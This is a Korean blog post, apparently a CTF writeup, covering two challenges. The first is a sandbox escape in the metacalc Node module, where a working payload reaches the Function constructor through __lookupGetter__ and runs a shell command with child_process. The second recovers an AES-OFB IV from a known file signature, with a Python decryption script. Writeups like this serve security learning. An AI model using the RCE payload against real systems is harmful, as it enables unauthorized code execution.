일요일 잠깐 시간내서 씨텦 참여
metacalc - __lookupGetter__('__proto__').constructor 를 통한 RCE
Nonces and Keys - 첫 블록의 원문이 파일 시그니처임을 이용한 IV 구하기
1. metacalc (Web)
metacalc 라는 node module 에서 RCE 취약점을 찾는 건데, 약간의 코드 패치가 이루어졌다.
아래는 metacalc/lib/sheet.js 이다.
'use strict';
const metavm = require('metavm');
const wrap = (target) =>
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
+ if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});
-const math = wrap(Math);
+// Math has too much of an attack surface :(
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);
const getValue = (target, prop) => {
if (prop === 'Math') return math;
const { expressions, data } = target;
if (!expressions.has(prop)) return data.get(prop);
const expression = expressions.get(prop);
return expression();
};
const getCell = (target, prop) => {
const { expressions, data } = target;
const collection = expressions.has(prop) ? expressions : data;
return collection.get(prop);
};
const setCell = (target, prop, value) => {
if (typeof value === 'string' && value[0] === '=') {
const src = '() => ' + value.substring(1);
const options = { context: target.context };
const script = metavm.createScript(prop, src, options);
target.expressions.set(prop, script.exports);
} else {
target.data.set(prop, value);
}
return true;
};
class Sheet {
constructor() {
this.data = new Map();
this.expressions = new Map();
this.values = new Proxy(this, { get: getValue });
this.context = metavm.createContext(this.values);
this.cells = new Proxy(this, { get: getCell, set: setCell });
}
}
module.exports = { Sheet };
// app.js
const { Sheet } = require('metacalc');
const readline = require('readline');
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();
rl.question('I will add 1 to your input?? ', input => {
sheet.cells["A1"] = 1;
sheet.cells["A2"] = input;
sheet.cells["A3"] = "=A1+A2";
console.log(sheet.values["A3"]);
process.exit(0);
});
해당 metacalc 2.0 버전은 이전 버전을 살펴보면 RCE가 터졌고, 이를 if(prop == 'constructor') 조건으로 해결하였다.
Payload는 =Math.ceil.constructor("console.log('EXPLOIT!!');")(); 이고, 이는 Math.~~ 함수에 접근하면 Function constructor 에 접근할 수 있게 되어 발생한 취약점이었다.
하지만 패치에서 math 에 new Object() 를 할당 시켰고, __proto__ 까지 필터링하였다.
math는 Proxy object 이고, Object proto에는 __lookupGetter__ 라는 함수가 있다.
function 이다.
함수의 생성자에 명령어를 넘기면 함수가 생성된다.
constructor 필터링에 안 걸리는 이유는 __lookupGetter__('__proto__') 는 Proxy Object 가 아니기 때문이다.
__lookupGetter__.constructor 는 필터링 되지만 호출한 결과는 __proto__ function 이기 때문에 constructor에 access 할 수 있따.
최종 Payload
=Math.__lookupGetter__('__proto__')['constructor']("console.log(process.mainModule.require('child_process').execSync('cat /flag').toString());")();
2. Nonces and Keys (Crypto)
sqlite3 파일은 시그니쳐가 16바이트였다. 마지막 00 이 시그니처인지는 모르겠지만, 15바이트는 확정되었다.
AES-128-OFB 를 사용했다고 한다.
우리는 Key, Plaintext, ciphertext 를 모두 알고 있다. 그렇기에 IV 또한 알 수 있게 된다.
Cipher 와 Plain 을 Xor 한 후 key를 이용해 decrypt 하면 IV 를 얻을 수 있다.
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
data = b''
with open('challenge_enc.sqlite3', 'rb') as f: data = f.read()
# Plain ^ Cipher
tt = 0x53514C69746520666F726D6174203300 ^ 0xB77506B0DB7AFC1A48A2D5E4F491C82D
key = 0x13371337133713371337133713371337
# get IV
c = AES.new(long_to_bytes(key),AES.MODE_ECB)
iv = c.decrypt(long_to_bytes(tt))
# Decrypt whole encrypted file with IV and key
c = AES.new(long_to_bytes(key),AES.MODE_OFB,iv)
with open('dec.db','wb') as f:
f.write(c.decrypt(data))
hxd 로 열어서 봐도 되고, https://sqliteonline.com/ 에서 select * from users; 로 조회해도 플래그를 획득할 수 있다.
'CTF Writeup' 카테고리의 다른 글
2022 Incognito CTF Writeup (0) | 2023.03.26 |
---|---|
2023 ACSC CTF Writeup - warmup + ngo (0) | 2023.02.26 |
Dreamhack Christmas CTF 2022 Writeup (1) | 2022.12.24 |
2022 Layer7 CTF Writeup (0) | 2022.12.19 |
2022 WhiteHatContest Junior Final Writeup (0) | 2022.11.20 |